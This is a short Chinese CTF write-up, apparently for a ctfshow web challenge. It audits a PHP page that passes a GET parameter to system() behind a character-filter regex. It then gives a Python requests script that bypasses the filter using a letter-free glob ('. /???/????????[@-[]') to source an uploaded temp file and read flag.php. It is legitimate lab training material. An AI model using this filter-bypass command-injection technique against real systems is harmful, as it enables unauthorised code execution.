1. 代码审计

    1. <?php
    2. // 你们在炫技吗?
    3. if(isset($_GET['c'])){
    4. $c=$_GET['c'];
    5. if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))
    6. //这里把数字也过滤掉了
    7. {
    8. system($c);
    9. }
    10. }else{
    11. highlight_file(__FILE__);
    12. }
  2. 这里要用到web56的第二种方法,无字母数字命令执行,同理可以用上一题制作文件上传,抓包利用.进行执行shell命令,这里下面用pythonrequests库进行请求,有可能临时文件最后一位不是大写,所以匹配不到,需要重复发包几次 ```python

    -- coding: utf-8 --

    ‘’’ @Time : 2021/7/6 11:12 @Author : Seals6 @File : upload-ctfshow.py @contact: 972480239@qq.com @blog: seals6.github.io

-- 功能说明 --

-- 更新说明 --

‘’’ import requests url=”http://xxxxxxxxxxxx.challenge.ctf.show:8080/“ params={“c”:”. /???/????????[@-[]”} r=requests.post(url=url,params=params,files={“file”:(“1.php”,”cat flag.php”)}) print(r.text) ``` image-20210706114447361.png